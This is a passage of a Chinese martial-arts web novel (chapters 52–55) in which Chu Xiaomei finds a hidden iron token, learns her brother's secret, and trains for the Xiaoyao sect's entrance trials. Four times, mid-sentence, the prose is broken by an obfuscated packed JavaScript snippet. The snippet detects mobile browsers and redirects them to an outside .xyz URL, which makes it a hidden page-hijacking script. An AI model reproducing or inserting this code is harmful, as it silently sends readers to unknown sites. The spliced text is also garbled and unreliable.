说这话时，年少的侠客意气飞扬，从容自信。 月色清冷如霜，照在朱门紧闭的深宅大院。匾额上烫金的“褚宅”二字已然蒙尘，蛛网在鎏金雕花间结成细密的网，再不复昔日的华贵耀眼。 夜风卷起几片枯叶，打着旋儿掠过门前的石狮子，那对曾经威风凛凛的瑞兽，如今也落得满身青苔。 叶渡揽着褚笑眉的腰肢轻飘飘跃起，少年掌心的温度透过薄衫传来，带着练武之人特有的灼热。 即便带了人，他的身形仍旧极轻。他们在高墙的碧瓦上轻轻一点，琉璃瓦面竟未发出半点声响，飞身落进了院中。 偌大的宅院空空荡荡，唯闻鸟鸣声声、虫鸣阵阵。 回廊悬着的红纱灯落了灰，凄然地随风晃动。阶上青苔从砖缝里钻出来，茸茸地漫过龟裂的汉白玉；檐下铁马被雨水蚀得发黑，叮咚声里带着锈蚀的滞涩。 她嬉闹时曾跑过这样的游廊，吓得捧着描金漆盘的侍婢急忙垂首避至两旁。 白虹会陪她一起疯玩，而青简自小严肃老成，总追在她们身后，连声提醒：“娘子慢些，别磕着！” 她年幼时常站在这样的石阶，跳起来扑到阿爷背上，软语撒娇嚷着要背。 阿爷会笑着俯身，宽大的手掌托住她膝弯，背着她在院中转过一圈又一圈。 小臣会立在这样的檐下等她，晴时、雨时，风里、雪里。 少年单薄的身形像是一尊亘古不变的雕塑，她回家时，他总在那里。她会加快脚步朝他飞奔过去，拢一拢他的披风，问他冷不冷。每到此时，他幽深的眸子里总会浮起极浅淡的笑意…… 楼阁依旧，物是人非。 一滴泪从她腮边坠下，她连忙抬手拭去。 她领着叶渡，走进了阿爷的书房。 根据小臣的叮嘱，书架的底层有一个暗格。 她蹲下身，屈指敲了敲，果真发觉柜间是中空的。 刑部的人经验老道，搜查时自然不可能漏掉此处。但这一机关设计得极为巧妙—— 若是在这层放上《殷商卜辞》、《清华简》、《东观汉记》和《风俗通义》这四本书，重量合计二斤四两一钱，刚好能使机括运转，暗格打开。 差役们搜到这里，便以为自己已然发现了秘密，不会再细查了。 其实，恰恰是在同样的位置，却还藏有一重更隐蔽的机关。 褚笑眉取出提前准备好的磁石放上架格，果然听见了钢珠被吸附后撞击到木材的闷响。 她一面凝神细听，一面挪动磁石的位置，利用磁性将那粒钢珠引入轨道。 而后，她移开了磁石。那枚钢珠沿着轨道，骨碌骨碌地滚落了下去…… 七年前的褚笑臣在书房玩耍，左手托着枚枣木司南，右手握着块乌黑磁石，看司南上的钢针扑棱棱地振动着，像一只追逐花香的蝴蝶，如痴如醉地追随磁石旋转。 他偶然间将磁石挨上书架的底层架格，却听到其中传来“咔哒”一声轻微的闷响—— 里头有东西。 他屏住呼吸，学着书里看来的机关术，用磁石沿着架格边缘缓慢画圈。研究半晌，终于成功地触发了机括。书架间弹出一个极窄、极薄的暗格，其中躺着一枚半月形玄铁令符。 阿爷回府后，他寻了个独处的时机，方才问出自己的疑惑：“那……究竟是什么？” 阿爷从来是泰山崩于前而不改色的，听到他的问题，神情竟然紧张起来，连忙把他拽过来，语气严厉：“你拿出来了？放到哪儿了？可有人看见？快去找来给我！” 他摇了摇头：“这物件既然藏得这般隐秘，定然不能让人知晓，所以我没动。阿爷放心，暗格我也恢复原位了。” 阿爷总算松了口气，擦了擦额上的冷汗：“好孩子，得亏你聪明。” 不过区区一枚令符，怎会把阿爷吓成这副模样？他好奇更甚，仰头定定地望向阿爷：“阿爷，我想知道真相。” “难为你小小年纪竟有这般缜密的心思，告诉你也无妨。”阿爷道，“这个令符……同你阿姊有关。” 原来阿姊并非他同胞的阿姊，难怪她与他这般不相像。 一个明媚热烈，一个阴郁冷漠；一个秾艳似芙蓉，一个清嘉如初雪；一个不通文墨、却欢蹦乱跳，一个三岁能诗、却沉疴在身。 他又问道：“那阿姊真正的身世是什么？” “这个……为父当真不能告诉你。”阿爷叹了口气，“凡是知道的，易引来杀身之祸。” 他默然垂眸，不再多问。 自从知晓这个秘密，他与阿姊之间，好似隔了一道墙。 但墙那头的少女并不知晓墙的存在，仍旧执拗地往他身边凑。分明是那样粗枝大叶的人，却偏偏会惦记着给他烧手炉，怕他吹了风受寒，变着花样地寻些幼稚的小玩意儿来逗他开心。 他身子不好，即便万般谨慎，接连不断的小病还是会找上他。 他记不清究竟有多少次，夜里发热烧得迷迷糊糊，鼻尖总缭绕着熟悉的甜香。他认得那香气，是阿姊惯用的玉楼云蜃香。他睁开眼时，少女会第一时间察觉，喂过来的水永远是温着的。 他看见她面上的疲倦，她却强打起精神，问道：“难受得睡不着吗？阿姊给你唱歌谣好不好？” 她唱的是幼时阿娘教的《竹枝词》，调子早忘了，却自创了些滑稽的词：“月牙弯弯挂窗檐，阿姊轻唱入梦甜”。一室暖融烛光中，她睫毛投下的阴影像把小扇，随着她眨眼的动作扑扇着，扇得他心口发烫。 他那时就在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139485|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，要是这样的日子能一直继续下去就好了。 少年一天天长大，直到某夜的旖旎梦境里开始出现她的脸。他惊喘着醒来，许久才平复了心绪。他没敢叫人，沉默着起身换了干净的被褥。 反正不是他同胞的阿姊，为何不能给他做妻子？ 他变着法地在她耳边说尽世间男子的坏话，屡次三番让她承诺不会嫁人——她总会笑盈盈应下。 骗子。 他看出她提起那位状元郎时眼中的光，知晓她到底是动了心，愈发绝望地想要抓住她。 她却像是流逝的水，无论他如何挽留，终究也不过是徒劳。 一方喜轿把她从他的身边抬走，喜宴上人人都在笑，说这门亲事如何门当户对、郎才女貌。 在铺天盖地的喜悦中，只有他被抛下了。 后来，那位状元郎参了褚家一本。一夜之间，地覆天翻。 他最恨的就是江铭，但他又无比庆幸，江铭保下了她。 别管褚家的仇怨了——他在心里对她说。 她从小是娇养着长大的，如今褚家倒了，再护不得她了。跟着江铭，好歹能保她余生安稳荣华。 但她偏偏倔得要命，同他记忆中一模一样。 她要以死相逼，她要不管不顾地以身相殉，她要和褚家共存亡。 于是他只能告诉她，这个埋藏多年的秘密。 去吧，阿姊，去寻找身世吧。 给她一个活下去的念想，是他能为她做的最后一件事了。 刑场的铡刀落下时，他在想，幸好，她还有很长很长的人生路要走…… 褚笑眉从暗格中取出那枚玄铁令符：“果然在这里。” “这一方暗格极小，搜查的人难以察觉；更何况，旁边还有个更大的暗格，用于掩人耳目。” 此处机关之精巧，世所罕见，叶渡忍不住出言感叹。 “将机关藏在机关中，把暗格藏在暗格旁，褚大人这一招确实高明。” 令符上雕着蟠螭纹，半月的一端有一处凸起，另一端则有一处凹陷。 褚笑眉翻来覆去地看了好几遍，眉头微微蹙起：“虽然拿到了信物，但这上面没有任何文字，我还是找不到丝毫有关我身世的线索。” 叶渡道：“可否予我看看？” 褚笑眉点了点头，将令符递交给他。 叶渡凝神思量，轻轻摩挲着其上的纹路：“常见的传家信物是玉佩、玉玦，姑娘这一件却是玄铁材质的；而且这种蟠螭纹，往往有勇猛之意。 “我大胆猜测，姑娘可能出身武林世家。” “武林……”褚笑眉呢喃着重复了一遍，抬眸问道，“叶少侠既是武林中人，可有门路帮我查到？” “我也不过初入江湖罢了。”叶渡叹了口气。 忽地，他眼眸骤然亮起：“有了！我知道一个去处，兴许能查出姑娘的身世。” “叶少侠指的是……” 叶渡一字一句，吐出了一个褚笑眉熟悉的名字：“逍遥宗。” 53. 第 53 章 逍遥宗作为太祖爷亲封的国教，因为宗门剑法《斩楼兰》独步天下，再加上朝廷的扶持，已成为江湖第一大宗。 同时，它也是庙堂辖制武林的一双手。 逍遥宗中有一座藏书楼，楼中存有一本《武林志》，记载了历年江湖大事，亦编纂了各门各派、武林世家的籍录。其中包含有历代掌门、长老、家主及声名显赫的弟子，以及所修习的功法和传世的信物。 褚笑眉了然，垂眸看向手中的玄铁令符：“所以你的意思是，我可以去逍遥宗翻阅《武林志》，就能查到我这枚信物属于哪一家？” “确实如此。”叶渡话锋一转，“但《武林志》其实算是朝廷文书，从未有让外人阅览的先例。无我门虽与逍遥宗交好，可我也不确定，他们能否卖我这个面子。” “不管行不行，总归值得一试。”褚笑眉将那令符收入了怀中，又道，“不过……我还是没能拿到身凭路引，又要如何出京呢？” 叶渡笑了笑：“这倒是小事。我们去褚家时，是直接翻墙进的；既要出京，也用轻功翻越城墙不就好了？” 子正一刻，睡了半夜的小卒郑虎被哨声叫起来换岗。他迅速穿好盔甲、拿起长枪，在队列里困得要命。 十夫长紧紧盯着他们，他连哈欠也不敢打，瞪着眼强行忍下去。 忽然瞥见似有两道人影掠上了城墙…… 他用力地一眨眼，定睛再看，那影子却又消失得无影无踪了。 应该是他眼花了，大概只是飞过去两只鸟。毕竟城墙这么高，怎么可能会有人能这么快就翻过去？ 城墙的另一边，那两道人影落了地，直向城郊的破庙而去。叶渡早已在此处备好了马，二人趁夜纵马疾驰，前往逍遥宗。 等到天明，叶渡方才递了拜帖。逍遥宗的弟子接过一看，态度瞬间恭敬了几分：“原来是无我门的叶少侠，您先随我入正厅等候，我这就去禀报。” “有劳了。”叶渡道。 叶渡的声名江湖皆知，褚笑眉与他同至，难免让人以为她也是个厉害的少侠。 再加上二人都生着一副好容貌—— 藏在屏风后的女弟子来来往往，轻声细语的商量零零碎碎地传过来：“我看完了……确实好看啊……换你换你……” 斟茶倒水送点心的男弟子来得极为频繁，有意无意地打听褚笑眉的身份：“姑娘也是无我门的弟子吗？” 褚笑眉敷衍答道：“不是。” “不知姑娘师承何门何派？” 她冷冷睨过去：“与你何干？” “只是想同姑娘认识认识，多个朋友也没坏处。” 男弟子热情更甚，又拈起一块糕点递给她：“姑娘尝尝这个，逍遥宗的桂花糕可是一绝……” “我不吃别人碰过的东西。” 男弟子急忙将手中的糕点放在桌上，转而把整盘都端到她面前：“是我考虑不周了。姑娘这样吃，总可以了吧？” 这样的行为太过冒犯，叶渡抬手阻拦道：“多谢好意，我们自便就好。” 叶渡语气虽平和，但身份地位不凡，那名男弟子也不敢再强求，只好退到一旁：“行，那姑娘需要什么，只管跟我开口。” 他手脚是规矩了，但眼睛还不规矩，一个劲儿地往褚笑眉身上瞟。 叶渡刚想开口，褚笑眉已抢先把茶盏往桌上一砸，茶水四溅： “你是个什么货色？满脸油光、獐头鼠目的，也配肖想姑奶奶？再看剜了你的狗眼！” “你……”那男弟子的脸色青一阵白一阵，最后变得黑沉沉的。 “还不走？”叶渡道，“你们云师姐可要来了。” 听到这个名字，那人总算不再纠缠，忿忿地退下了。 一阵冷冽的幽香似有若无地浮动在空气中，褚笑眉吸了吸鼻子：“奇怪，我好像闻到了梅香，可现在不是秋天吗？叶少侠，你有没有闻到？” 叶渡已然起身。 那梅香愈浓，一袭白蓝衣裙如水波般没过门槛。少女眉目清冷，发间的银簪如月华流转。 褚笑眉看得呆了，回过神后“噌”地一下站起来，膝盖不慎撞到了桌腿。她疼得龇牙咧嘴，又想努力维持微笑，神情反而愈发扭曲。 “叶少侠。”“云少侠。” 两人互相见过礼，褚笑眉也有样学样地抱拳，话音却卡在了喉咙里。 几人重新落座，叶渡向云溶雪道明来意。她是逍遥宗宗主的唯一亲传弟子，宗门事务已接手大半，算是板上钉钉的下一任宗主。 褚笑眉生长在京城，京中贵女争奇斗艳，鲜妍貌美的不在少数，但她从未见过云溶雪这样的美人——肤白如雪，却不显瘦弱，倒真像是雪中挺立的白梅，扛得住极寒的风霜雨雪。 “姑娘？褚姑娘。” 叶渡的声音唤回了她的神智，她游离的眼神骤然一定，连忙询问：“怎么了？” 叶渡叹了口气，重复道：“你的家传信物，拿出来给云少侠看看。” “噢，好。” 那枚半月形令符被她的体温捂得温热，交到云溶雪微凉的掌心。 云溶雪道：“玄铁材质、蟠螭纹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172911|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我没听说过哪个武林世家用的是这样的信物。” 叶渡道：“我也没听说过，但我想着，《武林志》中兴许会有记录。” “《武林志》不能给外人看。” “我们不看，烦请云少侠亲自去查阅，而后将结果告诉我们，可以吗？” “这……”云溶雪有些犹豫，“我去请示一下师父的意思吧。” 云溶雪起身离去，厅中冷冽的梅花幽香经久不散。 约莫一炷香后，那缕将逝未逝的香气重又生长起来。 云溶雪冲二人摇了摇头：“师父说了，这不合规矩。” 褚笑眉忙道：“可是……” “姑娘莫急，若要查阅《武林志》，我还可以给你指一条路。” 一听还有转机，褚笑眉又追问道：“是什么？” “藏书楼共有九层，外门弟子可进入一至三层，内门弟子可登上四至六层，至于七至九层的藏书，则要亲传弟子方可翻阅。”云溶雪道，“而《武林志》便藏于第九层。” 褚笑眉道：“云少侠的意思是——让我拜入逍遥宗，成为亲传弟子？” “正是。” 叶渡忍不住皱眉道：“没有别的法子吗？” 褚笑眉困惑：“这法子不行吗？” “姑娘有所不知，六大门派收徒极其严苛。”叶渡叹了口气。 “在无我门中，每年入山想要拜师的有数万人，仅有千中之一能成为外门弟子；而宗门大比挑选内门弟子，更是百里挑一；至于能被掌门、长老收入座下的亲传弟子，则要经历更残酷的选拔……” 褚笑眉的眸光仍然坚定：“五年不行那就十年，十年不行那就二十年。 “从前张世伯帮我看过，我的根骨极其适合习武，我相信我可以。” “恐怕没有这么多时间留给姑娘。按照无我门的规矩，弟子达到二十二岁，就再无晋升的可能。想必逍遥宗也有类似的限制？” 叶渡望向了云溶雪，话中有询问之意。 “二十岁。”云溶雪道，“若姑娘二十岁之前，没能成为某位长老座下亲传弟子，此生便再无机会。” 褚笑眉的唇抿得更紧：“还有四年。” “这根本不可能。”叶渡道，“姑娘如今已然十六，尚无习武根基，短短四年怎能登峰造极？” 褚笑眉道：“云少侠，我要查身世，就只有这一条路可走？ “当真别无他法吗？” “没有。”云溶雪回答，“四年之内，成为逍遥宗的亲传弟子。姑娘要不要做？” 54. 第 54 章 四年光阴，于武学而言不过弹指一挥。要让一个毫无根基的普通人从自幼习武的弟子中脱颖而出，被逍遥宗长老收为亲传，这等难度堪比凡人登天。 褚笑眉攥紧了手，掌中那枚玄铁令符硌得指节发疼。冰凉的金属纹路深深嵌进皮肉，仿佛要刻进骨子里。 她如今十六岁，做过京中第一贵女，有过父母家人，嫁过心仪郎君…… 可到头来，她却连自己究竟是谁都不清楚。那些华服美饰、诗酒宴饮的日子，此刻想来竟如雾中看花，虚幻得令人心悸。 她不甘心此生就这般浑浑噩噩的过去。 “我要做。”她猛地抬头，望进云溶雪清亮的眸子。 穿堂风裹挟着深秋的凉意，将少女鬓边碎发吹得纷乱，却吹不灭那双杏眼里燃起的火光，微弱却灼人：“多谢云少侠提点，我会全力以赴。” “嗯。逍遥宗的入门擢选在一月后，姑娘可提前做些准备。” 云溶雪转身时，裙裾水波般逶迤拖过地面，留下最后一句：“希望下次再见姑娘时，能听到姑娘唤我‘师姐’。” 逍遥宗位于长安城以南的太一山，山下有个村落，名叫“望仙村”。村子里的客栈人满为患，价格水涨船高。这么多人前来此处，自然也是为了逍遥宗的入门擢选。 叶渡将银两推到柜台前：“两间上房。” 柜台后算盘声噼啪作响，掌柜的秃顶泛着油光。见来客是位腰悬长剑的少年，他懒懒地掀了一下眼皮，似乎早已见怪不怪：“每夜一两银子，概不赊账。” “这么贵？！”褚笑眉惊呼出声。四周的装潢陈旧，桌椅楼梯都已有些年头，木头的原色黯淡无光，像是蒙了一层灰。“京城里这样的客栈顶多不过四五百文，你这不是宰客吗？” “宰客？姑娘出去打听打听，哪家不是这个价？我们家已是便宜的了。”掌柜的冷笑出声。 “姑娘若平日里来住，我只收你一百文；但现下是什么日子？——逍遥宗入门擢选在即，姑娘嫌贵，多的是人愿意住！我不怕告诉您，我家的上房，原本也只剩三间了。” 褚笑眉还欲争辩，叶渡急忙拦住她：“我们定下两间，住一个月。” 拎着行李踏上木楼梯时，他才低声解释：“掌柜的没骗你。无我门那边也是一样的情形，每到入门擢选时，云台山脚下的客栈价格能翻十倍。” 褚笑眉这才消了气，又问道：“叶少侠，你要陪我留在这里？” 叶渡笑道：“都陪姑娘来了，索性好人做到底。我多少也会些功夫，这一个月里，可以帮姑娘打些武学根基，以便应对逍遥宗的擢选。 “若姑娘成功通过选拔，入了逍遥宗，我也好放心离开。” “那就有劳叶少侠了。” 逍遥宗的入门试炼有三关，第一关考验体质，第二关考验悟性，第三关考验心志。 第一关中，首先要检查根骨，是否适合习武。 褚笑眉并不需要担心这个。张菁之父、平远侯张永昌曾说过她根骨清奇，常抚案叹息“不习武，诚可惜哉”。这位侯爷可是天下间的一流高手，又执掌兵权，手底下的能人异士数不胜数。能让他多次发出这种感慨，可见天资之卓绝。 叶渡又帮她看了一回，确实是万里挑一的好苗子。 其次是要测试体力，参试者需要背负与自己体重相当的重物，于半个时辰内爬完武圣像前的三千级台阶。 “这一项于姑娘而言是最难的。”叶渡道，“姑娘如今十六岁，已过了体力最好、精力最旺的年纪。光是爬完这三千级台阶都未必能完成，更何况还要负重。” 最后是要考量骑射，检验的是参试者的应变、准度与协调。 褚笑眉不会射箭，但骑术乃是一等一的好。昔日在马球场上，她可称得上是“东征西伐、常胜不败”。 这三项考核就是第一关的试炼内容，在第一日进行。有任何一项不合格，都会直接淘汰。 照往年的结果来看，这一关能筛掉大约七成的人。 叶渡身为无我门忘真先生的亲传弟子，颇有指点门中师弟师妹的经验。他领着褚笑眉从基础学始，晨起是步法和剑招，午后换骑射，晚间再练体力。 褚笑眉白皙的肌肤晒成了小麦色，脸颊上莹润的汗珠似乎在日头下发着光。她稳稳骑在起伏的马背上，熟练地拉开长弓。 利箭破空而出，射中了空中飞过的两只大雁。一箭双雕。 她纵马飞驰，松开一边的脚蹬，抓着马鞍翻身而下，一把捞起了射落在地的大雁。 她扬唇冲叶渡笑笑：“宵夜吃烤鸟肉？” “我来烤。”叶渡补充道，“我不想再吃外面烤焦、里面没熟的肉了。” “喂！你这是对我厨艺的蔑视！”褚笑眉大声表达不满。 “姑娘，我从小到大都没怎么生过病。但你烤的肉，羽毛没拔干净，肉里还有血丝，我吃完以后跑了八次茅房。” 叶渡眼神幽怨：“而且你自己都嫌太难吃，只尝一口就吐了出来。” “咳……”褚笑眉尴尬地移开了目光，“你烤，你烤。” 绯红随天边的日头而落下，又从膝前的火光里升起。 二人坐在火堆前，柴禾间或发出噼里啪啦的爆响。竹签串着的鸟肉在火上翻动，烤出来的油脂香气四溢。 褚笑眉腹中馋虫被勾动，眼巴巴地盯着那烤鸟肉，连咽了三次口水：“还没熟吗？” “快了，姑娘别急。”叶渡安抚道。 他终于将手中的竹签递了出去：“慢些吃，小心烫。” 褚笑眉忙不迭接过。她想把鸟翅掰下来，却又被烫得一缩手：“嘶——” 她索性龇着牙埋头去啃，油星子溅在衣襟上也不在意，往日的优雅举止荡然无存。 “又不是晚饭没给你吃饱……”叶渡望着她沾着油光的唇角，叹了口气，“不知道的，还以为我克扣你的饮食。” “我思在是太饿了，次再多也饿。”褚笑眉嘴里塞着烤肉，口齿不清道。 “习武都是这样的。姑娘的饭量，比一月前涨了三倍。” “我算是知道为什么阿菁那么能吃了。就照这么个练法，每日这样大的消耗，吃多少都不够。以前真的不该跟她抢厨子的……”她的声音蓦地低了下去，她咽下了嘴里的肉，却又觉得还有什么哽在喉头，手里的烤鸟肉似乎也没了滋味。 “如果不是我识人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204098|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明，褚家、张家、承望哥哥，都不会有事。” 看见她泛红的眼眶，她眸中盈着的泪，叶渡故意低下了头，以免让她觉得难堪：“以有心算无心，谁又能料到？姑娘，这不是你的错。” “我知道。这些血债，都是拜江铭所赐。”褚笑眉咬着牙道，“四年以内，我会完成和云少侠的约定，成为逍遥宗的亲传弟子，习得一身武艺。而后，亲手杀了他。” “好，我等着看姑娘大仇得报的那一天。”叶渡顺势转移话题，“五日后，姑娘就要参加入门擢选了。考核中负重登山一项，姑娘离合格还差许多。 “逍遥宗要求在半个时辰内爬完三千台阶，而姑娘最快的一次，也较之多用了一炷香时间。” 褚笑眉道：“我也在担心这个。有没有什么灵丹妙药，能让我吃了以后暂时提高体能？” “姑娘倒是会打歪主意，但这个行不通。”叶渡哭笑不得，“其一，再好的丹药，能提升的毕竟有限，你只差一点倒也罢了，可你的最佳状态都要差上一炷香。什么灵丹妙药能让你有这样大的进步？太上老君炉子里的仙丹吗？ “其二，擢选前一日就要进入逍遥宗，饮食住宿由宗门统一提供。会有专门弟子负责搜身，你没法夹带入内。” “啊？”褚笑眉愁眉苦脸，“为什么还有这种规矩？” “自然是为了防止作弊，也因为参试者太多，需要提前一日进行登记和称重，以便为你们准备负重……等等！”叶渡话音一顿，“我有法子了！” 褚笑眉急迫道：“是什么？” “这一日的时间差，可以做手脚。姑娘不妨试试断水。” “愿闻其详。” 叶渡出言解释：“这法子不难，就是受罪些。前两日先大量饮水，让身体适应这一平衡；后两日再脱水，从而迅速减重。直到进入逍遥宗，称重结束后，姑娘才能重新喝水。 “这样称出来的重量，至少能少十斤。姑娘背负着稍微轻些的重物，兴许可以通过。” “只要能通过擢选，别的都无所谓。”褚笑眉道，“就依叶少侠的法子办。” 太一山势若卧龙，脊背起伏处尽生丹桂。时值仲秋，霜露未凝而花信已至，亿万朵金粟缀满虬枝。山道两侧老桂盘踞如守山神将，偶有被山风摇落的碎瓣，似点点星辰坠地铺阶。 行至半山腰，忽见青瓦白墙，名曰“毓秀园”。门楣悬着岫玉雕的“桂月天香”匾，两侧泥金楹联乃太祖皇帝御笔亲书：何须浅碧深红色，自是花中第一流。 参试者从正厅排到了院外，褚笑眉早早地就来了。她这两日断水，难受得头晕眼花，只盼着快些称完重，好让她灌几壶下肚。 房梁上悬有一排大秤，她按照逍遥宗弟子的指示，坐上秤钩挂着的凳子。 她这个月跟着叶渡勤学苦练，身体健壮了不少。从最初的一百零二斤，渐渐长到了一百一十斤。 也不知这“断水”之法，究竟能让她减下多少来。 司称人“打称花”移动秤砣时，她在心里默默祈求：“各位神仙菩萨，拜托一定要让我称出来轻些，最好能到一百斤以下。” 秤杆终于平了，只听司称人唱道：“褚笑眉……” 55. 第 55 章 “褚笑眉，秤花九十八。” 褚笑眉胸中紧绷的那口气吐了出来。 终于能喝水了。 她拧开水囊，仰头咕嘟咕嘟地灌下去。甘霖滑过干疼的喉咙，淌进枯涸的肚腹。她幸福地喟叹出声，似乎每一寸肌肤都舒展开来。 她活过来了。 逍遥宗弟子抬手一引，催促她从侧门出去，前往次厅。 “稍等，”褚笑眉道，“容我同友人道个别。” 叶渡抱着剑倚在桂树下，桂瓣簌簌落在他肩头。俊俏少年与金黄桂子，一时竟也分不出哪一个更明亮夺目。 他似有所察，抬眸向褚笑眉看来，明朗笑意展露在飞扬的眉眼，意气风流：“怎么样？” 褚笑眉也笑了起来：“叶少侠的法子好用得很，我觉得我可以顺利通过。” “姑娘有信心就好。”叶渡掸落肩头的金桂，温声道，“接下来姑娘要暂住逍遥宗，进行为期三日的擢选，我会来看的。” “好。”褚笑眉道，“无论成与不成，叶少侠这些日子的照拂与指点，我都铭记于心。” “别说这样的话，姑娘一定可以。”叶渡神情笃定，“我带过的师弟师妹不在少数，从未见过姑娘这般的天资。若是姑娘同我一样自小学武，恐怕早成天下第一高手了。” “这是擢选前的鼓舞？” “是实话。” 叶渡垂首笑时，褚笑眉见他发顶也落了几粒桂花，踮脚为他拣下来。少年蓦地红了脸，出言问询：“姑娘头上也有落花，要我帮忙摘下来吗？” “咳……”褚笑眉这才意识到举止不妥，连忙后退两步，“不用。” “世人言科举中第为‘蟾宫折桂’，姑娘毋须折桂，桂子已落于你身，是吉兆。”叶渡道，“姑娘一定会成功入选。” 二人暂且别过。 褚笑眉随人流步入次厅，随身的行李包裹被拆开翻找，查验无误后，方才有人领她前往住所：“姑娘住北苑西二厢房，且随我来。” 逍遥宗的院落与京中贵胄的宅院截然不同，庭中有大片的空地，回廊边布置着一排排兵器架，显然是做演武之用的。 褚笑眉入了厢房，只见房内置有四张床榻，每张床榻分上下两层，可住八人。 方才在正厅时，熙熙攘攘挤着的大多是五至九岁的孩童。如今进了厢房，房内的参试者竟都与她年纪相仿，她不由得一怔：“我还以为……只有我一个大龄考生。” “哪能呢。”一个塌鼻梁的少女笑道。她鼻子虽矮，但配上圆鼓鼓的脸蛋，反而显出一种孩童般的稚气，笑起来娇憨可爱。“我们都是考了好些年的，始终没能入选，却又不肯放弃。” 她看起来年纪最轻，约莫只十二三岁，性子也最为热络：“我叫裴亭亭，亭亭玉立的亭亭。” 褚笑眉也同她们交换了名姓。 “住处是按年纪分的，否则若要十六岁的和六岁的住一起，那可闹腾个没完了。”裴亭亭解释道，“我们七个彼此之间都相熟了，但我从没见过姐姐你。” 她又问道：“褚姐姐是第一次考？” “嗯。” “我瞧着姐姐应该是十五六岁？怎么这个年纪才来？” 褚笑眉垂眸苦笑，轻描淡写道：“从前有父母庇佑，不想习武。” “习武多好啊！”裴亭亭手舞足蹈地比划，“可以做大侠！就像说书先生讲的故事里那样，行侠仗义、除暴安良——” 褚笑眉看着她眸中灼灼的亮光，抬手揉了揉她的脑袋，柔声道：“你一定会成为举世闻名的大侠的。” “别哄她了。做大侠？连逍遥宗的入门擢选都进不去，还做哪门子的大侠？”埋头整理行囊的少女轻嗤出声。 裴亭亭的脸色白了白。 褚笑眉看过去，反问道：“骆姑娘来此，难道不是为了做大侠？” “我可没这么不切实际。”骆慧英道，“我不想嫁人，须得寻个妥当的谋生之道。若是做了武林大宗的外门弟子，不仅每月有例钱可领，还不会受人欺凌。” 厢房内同住的八人，有的心怀抱负，有的脚踏实地，如今却也被命运凑到了一处。 一夜过去，众人鸡鸣时起身，聚于前院。 今日要进行的考核，是入门擢选中的第一关，即根骨、登山、骑射三项。 “北苑西厢的且随我来。”一道男声响起，嗓音故意压得极低，挤出喑哑低沉的感觉；功夫却不太到家，听起来反倒令人觉得呕哑嘲哳。 褚笑眉听着耳熟，抬眼看去——正是那个对着她频繁献殷勤、被她当场下过脸面，满脸油光、獐头鼠目的男弟子。 他身后跟了八名弟子，原来也算个小头头。难怪这般自以为是。 那名男弟子也发现了褚笑眉，他脸色一青，而后又意识到了什么，勾起半边嘴角，一步一晃荡地朝她走了过来：“哟，这不是褚姑娘吗？怎么到这儿来了？” 褚笑眉白他一眼，懒得理他。 “哑巴了？我们郑师兄问你话呢！”身后的跟班喝道。 郑良朋假意大度：“哎，对这位姑娘放尊重些。你看她这副鼻孔朝天的模样，指不定是什么名门弟子、世家千金，我们得罪不起的。” “不对啊……”他话锋一转，阴阳怪气地询问，“姑娘要当真有这种身份，何苦要拜入我们逍遥宗门下？” 褚笑眉冷声道：“你今日这番话，敢说给你们云师姐听吗？” “哟，哟哟哟，我怕死了。”郑良朋哈哈大笑起来，鼠目眯得愈发狭小，“你也知道，那是我师姐；你一个外人，还要去告状不成？你能进得了逍遥宗的大门再说吧。” 他转回身，询问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210617|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后的跟班：“你们说，她这样的，能通过入门擢选吗？” “通过选拔？就凭她？” “要我说，郑师兄还是太客气了，看她这副细胳膊细腿的模样，我估计根骨这一项就能给她筛下来……” 褚笑眉上前一步，逼近了他：“我看你的根骨可远不如我。” 众人笑得前仰后合。 “哎，你听到她说什么了吗？” “口气还真不小！她是不是不知道郑师兄的天资啊？” 其中一名跟班道：“你听好了，我们郑师兄六岁时就通过了入门擢选，九岁练完基本功，十一岁习得轻功水上漂，十三岁通晓剑法，十五岁将《斩楼兰》练至第九式。你拿什么跟郑师兄比？” 